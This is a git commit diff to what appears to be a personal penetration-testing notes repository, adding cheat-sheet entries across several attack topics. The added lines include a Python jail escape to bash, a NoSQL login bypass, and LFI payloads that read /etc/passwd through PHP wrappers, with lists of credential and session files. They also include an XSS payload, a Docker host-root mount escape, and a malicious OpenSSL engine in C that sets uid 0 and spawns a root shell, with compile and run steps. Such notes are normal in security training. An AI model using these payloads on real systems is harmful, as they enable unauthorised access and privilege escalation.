some more docker
This commit is contained in:
		
							parent
							
								
									cefc5b209a
								
							
						
					
					
						commit
						512b365a34
					
				| 
						 | 
					@ -88,3 +88,9 @@
 | 
				
			||||||
[submodule "post_exploitation/Invoke-EDRChecker"]
 | 
					[submodule "post_exploitation/Invoke-EDRChecker"]
 | 
				
			||||||
	path = post_exploitation/Invoke-EDRChecker
 | 
						path = post_exploitation/Invoke-EDRChecker
 | 
				
			||||||
	url = https://github.com/PwnDexter/Invoke-EDRChecker.git
 | 
						url = https://github.com/PwnDexter/Invoke-EDRChecker.git
 | 
				
			||||||
 | 
					[submodule "reverse_shells/phpreverseshell"]
 | 
				
			||||||
 | 
						path = reverse_shells/phpreverseshell
 | 
				
			||||||
 | 
						url = https://github.com/rootkral4/phpreverseshell.git
 | 
				
			||||||
 | 
					[submodule "exploit/web/xxe/xxeserv"]
 | 
				
			||||||
 | 
						path = exploit/web/xxe/xxeserv
 | 
				
			||||||
 | 
						url = https://github.com/staaldraad/xxeserv.git
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -8,6 +8,7 @@
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
sudoedit -s '\' $(python -c "print('\x41' * 10000)")
 | 
					sudoedit -s '\' $(python -c "print('\x41' * 10000)")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					* Defaults to try
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					./brute.sh 90 120 50 70 150 300
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,18 @@
 | 
				
			||||||
 | 
					# Escaping Jails
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* [Aneesh's blog](https://anee.me/escaping-python-jails-849c65cf306e?gi=a7d3bac81831)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Usage
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Circumvent via `__builtins__`
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					dir(__builtins__)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					__builtins__.__dict__
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					* Call builtins
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -9,7 +9,26 @@
 | 
				
			||||||
* [MongoDB operators](https://docs.mongodb.com/manual/reference/operator/query/)
 | 
					* [MongoDB operators](https://docs.mongodb.com/manual/reference/operator/query/)
 | 
				
			||||||
* [Elasticsearch docs](https://www.elastic.co/guide/index.html)
 | 
					* [Elasticsearch docs](https://www.elastic.co/guide/index.html)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Operators
 | 
				
			||||||
 | 
					* Most common
 | 
				
			||||||
 | 
					```sql
 | 
				
			||||||
 | 
					$and
 | 
				
			||||||
 | 
					$or
 | 
				
			||||||
 | 
					$eq
 | 
				
			||||||
 | 
					$ne
 | 
				
			||||||
 | 
					$gt
 | 
				
			||||||
 | 
					$where
 | 
				
			||||||
 | 
					$exists
 | 
				
			||||||
 | 
					$regex
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Tips & Tricks
 | 
					## Tips & Tricks
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* Pass HTTP parameter as an array instead of `user=` and `password=` use `user[$operator]=foo` and `password[$operator]=bar`
 | 
					* Pass HTTP parameter as an array instead of `user=` and `password=` use `user[$operator]=foo` and `password[$operator]=bar`
 | 
				
			||||||
    * 2D array via `user[$nin][]=foo`
 | 
					    * 2D array via `user[$nin][]=foo`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Example
 | 
				
			||||||
 | 
					* POST or GET parameters
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					username=admin&password[$ne]=admin
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -1 +1,11 @@
 | 
				
			||||||
# CSRF
 | 
					# CSRF
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Protection
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* May be a hidden field with an encoded value
 | 
				
			||||||
 | 
					```html
 | 
				
			||||||
 | 
					    <input type="hidden" name="csrf_protect" value="eyJk..n0=">
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					* This field need to be removed in order to do some csrf shenanigans
 | 
				
			||||||
 | 
					* Decode the value to reproduce some valid content.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2,6 +2,14 @@
 | 
				
			||||||
To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like `https://test.com/?file=robots.txt`, the file may be changed.
 | 
					To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like `https://test.com/?file=robots.txt`, the file may be changed.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [Acunetix article](https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/)
 | 
					* [Acunetix article](https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/)
 | 
				
			||||||
 | 
					## PHP Functions
 | 
				
			||||||
 | 
					* Functions provoking an LFI
 | 
				
			||||||
 | 
					```php
 | 
				
			||||||
 | 
					include()
 | 
				
			||||||
 | 
					require()
 | 
				
			||||||
 | 
					include_once ()
 | 
				
			||||||
 | 
					require_once()
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Usage
 | 
					## Usage
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -37,18 +45,15 @@ curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20..
 | 
				
			||||||
* [outpost24](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2)
 | 
					* [outpost24](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2)
 | 
				
			||||||
*  Log poisoning and opening logfile via `/proc/self/fd/xx`.
 | 
					*  Log poisoning and opening logfile via `/proc/self/fd/xx`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Base64 Encoding via PHP
 | 
					 | 
				
			||||||
* Circumvent filter via encoding local files included ins a GET parameter value
 | 
					 | 
				
			||||||
```http
 | 
					 | 
				
			||||||
curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
## Files of Interest
 | 
					## Files of Interest
 | 
				
			||||||
* `/etc/issue`
 | 
					* `/etc/issue`
 | 
				
			||||||
* `/etc/profile`
 | 
					* `/etc/profile`
 | 
				
			||||||
* `/proc/version`
 | 
					* `/proc/version`
 | 
				
			||||||
* `/etc/passwd`
 | 
					* `/etc/passwd`
 | 
				
			||||||
* `/etc/shadow`
 | 
					* `/etc/shadow`
 | 
				
			||||||
 | 
					* `/etc/group`
 | 
				
			||||||
 | 
					* `/etc/motd`
 | 
				
			||||||
 | 
					* `/etc/mysql/my.cnf`
 | 
				
			||||||
* `/root/.bash_history`
 | 
					* `/root/.bash_history`
 | 
				
			||||||
* `/var/log/dmessage`
 | 
					* `/var/log/dmessage`
 | 
				
			||||||
* `/var/mail/root`
 | 
					* `/var/mail/root`
 | 
				
			||||||
| 
						 | 
					@ -56,10 +61,33 @@ curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<
 | 
				
			||||||
* `/var/log/apache2/access.log`
 | 
					* `/var/log/apache2/access.log`
 | 
				
			||||||
* `C:\boot.ini`
 | 
					* `C:\boot.ini`
 | 
				
			||||||
* `/proc/self/fd/xx`
 | 
					* `/proc/self/fd/xx`
 | 
				
			||||||
 | 
					* `/proc/version`
 | 
				
			||||||
 | 
					* `/proc/cmdline`
 | 
				
			||||||
 | 
					* `/proc/[0-9]*/fd/[0-9]*`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* `sess_<cookieValue>` if the location of the session file is known. Some paths are
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					c:\Windows\Temp
 | 
				
			||||||
 | 
					/tmp/
 | 
				
			||||||
 | 
					/var/lib/php5
 | 
				
			||||||
 | 
					/var/lib/php/session
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Base64 Encoding via PHP
 | 
				
			||||||
 | 
					* Circumvent filter via encoding local files included ins a GET parameter value
 | 
				
			||||||
 | 
					* __Read PHP files through encoding them, so they won't be executed__
 | 
				
			||||||
 | 
					```http
 | 
				
			||||||
 | 
					curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
 | 
				
			||||||
 | 
					curl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					* Use encoded data as input through the parameter
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					curl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Tricks
 | 
					## Tricks
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* Terminate query with `%00` or `0x00` does the trick until PHP 5.3.4
 | 
					* Terminate query with `%00` or `0x00` does the trick until PHP 5.3.4
 | 
				
			||||||
* Terminate query with `/.`
 | 
					* Terminate query with `/.`
 | 
				
			||||||
* `..//..//..//file`, double slashes
 | 
					* `..//..//..//file`, double slashes
 | 
				
			||||||
 | 
					* URL encode path
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -124,6 +124,10 @@ document.onkeypress = function (e) {
 | 
				
			||||||
## Tricks and Tips
 | 
					## Tricks and Tips
 | 
				
			||||||
* Use Polyglots
 | 
					* Use Polyglots
 | 
				
			||||||
* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
 | 
					* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
 | 
				
			||||||
 | 
					* Close the a vulnerable, exploitable tag and open a script tag
 | 
				
			||||||
 | 
					```html
 | 
				
			||||||
 | 
					</tag><script>alert(1);</script>
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Protection Methods
 | 
					## Protection Methods
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1 @@
 | 
				
			||||||
 | 
					Subproject commit 046c559a3c1a65d3a41a2fb706807b9e48e66563
 | 
				
			||||||
| 
						 | 
					@ -35,3 +35,9 @@ $[0-9]$[0-9]
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
john --wordlist=single_password.txt --rules=best64 --stdout > out.txt
 | 
					john --wordlist=single_password.txt --rules=best64 --stdout > out.txt
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Subformats
 | 
				
			||||||
 | 
					* Some salted passwords need dynamic rules
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					john --list=subformats
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,8 @@
 | 
				
			||||||
 | 
					# sucrack
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* [Repo](https://github.com/hemp3l/sucrack.git)
 | 
				
			||||||
 | 
					* Upload to target and build
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					sucrack -u <username> -w 100 <wordlist>
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -41,6 +41,7 @@ dive <IMAGE-ID>
 | 
				
			||||||
    ```sh 
 | 
					    ```sh 
 | 
				
			||||||
    docker -H tcp://test.com:2375 ps
 | 
					    docker -H tcp://test.com:2375 ps
 | 
				
			||||||
    docker -H tcp://test.com:2375 exec <container> <cmd>
 | 
					    docker -H tcp://test.com:2375 exec <container> <cmd>
 | 
				
			||||||
 | 
					    docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
 | 
				
			||||||
    ```
 | 
					    ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)
 | 
					* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,44 @@
 | 
				
			||||||
 | 
					# OpenSSL Engine
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Hook external libs
 | 
				
			||||||
 | 
					* [OpenSSL blog](https://www.openssl.org/blog/blog/2015/10/08/engine-building-lesson-1-a-minimum-useless-engine/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Most minimal example
 | 
				
			||||||
 | 
					```C
 | 
				
			||||||
 | 
					#include <openssl/engine.h>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					static int bind(ENGINE *e, const char *id)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  return 1;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					IMPLEMENT_DYNAMIC_BIND_FN(bind)
 | 
				
			||||||
 | 
					IMPLEMENT_DYNAMIC_CHECK_FN()
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Shell as root
 | 
				
			||||||
 | 
					```C
 | 
				
			||||||
 | 
					#include <openssl/engine.h>
 | 
				
			||||||
 | 
					#include <unistd.h>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					static int bind(ENGINE *e, const char *id)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  setuid(0);
 | 
				
			||||||
 | 
					  setgid(0);
 | 
				
			||||||
 | 
					  system("/bin/bash");
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					IMPLEMENT_DYNAMIC_BIND_FN(bind)
 | 
				
			||||||
 | 
					IMPLEMENT_DYNAMIC_CHECK_FN()
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Compile
 | 
				
			||||||
 | 
					```C
 | 
				
			||||||
 | 
					gcc -fPIC -o rootshell.o -c rootshell.c
 | 
				
			||||||
 | 
					gcc -shared -o rootshell.so -c -lcrytpo rootshell.o
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Execute via
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					openssl engine -t `pwd`/rootshell.so
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,10 @@
 | 
				
			||||||
 | 
					# Powershell Logs
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Transcript Logs
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Enable via
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0x1 /f
 | 
				
			||||||
 | 
					reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v OutputDirectory /t REG_SZ /d C:/ /f
 | 
				
			||||||
 | 
					reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableInvocationHeader /t REG_DWORD /d 0x1 /f
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1 @@
 | 
				
			||||||
 | 
					Subproject commit 72873b93fa3d960ce35f8c46d6fd8195a45f17c0
 | 
				
			||||||
		Loading…
	
		Reference in New Issue